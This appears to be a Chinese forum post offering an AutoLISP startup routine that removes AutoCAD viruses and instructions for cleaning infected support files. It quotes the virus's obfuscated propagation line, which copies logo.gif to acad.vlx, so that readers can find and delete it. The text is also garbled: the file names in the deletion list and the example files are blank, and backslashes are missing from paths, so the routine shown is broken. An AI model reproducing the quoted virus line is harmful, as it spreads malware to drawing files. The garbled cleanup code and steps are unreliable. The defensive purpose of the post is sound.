在這個病毒四溢的年代,cad也出現了病毒,再被它們折磨到崩潰的時候(宕機,存圖顯示輸入路徑,各種鍵盤失靈,詭異退出,黨不會虧待你等等爛七八糟的病毒),下面小編寫下了這段程式碼。希望給辛苦加班的cad同志們以幫助。減輕你們的痛苦(重灌,格機,丟圖)
功能:
1、開啟檔案時自動刪除資料夾下的所有病毒。
2、CAD啟動時命令列提示“錯誤: 引數型別錯誤: stringp nil"永遠消失。(只顯示載入項及是由哪個版本的cad,建立的有效的`檔案等等)
注意事項
經過一年多的實踐,我的機器已有效的控制了病毒的蔓延。在聯機的區域網內使用須將每臺機器都做處理,不然會有隻讀檔案影響刪除造成假死狀態,光碟如有毒請將DWG檔案拷出再開啟。適用版本cad2006~2011.7 感謝POWERMEDIA對我的技術支援。感謝所有在繪圖行業辛苦工作,戰鬥的同志們。感謝論壇。
進入正題(建議:最好是在剛裝好cad保證正常執行時作如下操作。)
在您的產品安裝目錄中,找到Support 資料夾(例如,C:Program FilesAutoCAD 2010Support)。
在Support資料夾內,雙擊檔案(例如,檔案)。 在檔案中加入下面的程式碼。 AutoCAD將發現並刪除所有病毒。
拷貝以下內容到此檔案的末尾:
(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("" "logo.gif" "" "" "" ""))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ "nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)
開啟下面的所有檔案:
C:Program FilesAutoCAD
C:Program FilesAutoCAD 20xxSupportai_
查詢到以下程式碼,請刪除:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
儲存所有檔案。
cad選項設定結束後,將這兩個資料夾設為只讀,一勞永逸。(方法:在資料夾上單擊右鍵,屬性————常規————勾選只讀。)
X:Program FilesAutoCAD 2010Support
C:Documents and Settings(使用者名稱)Application DataAutodeskAutoCAD 20XX(此資料夾為隱藏資料夾。可將路徑修改好使用者名稱及版本,考貝到開始--執行,進行查詢。)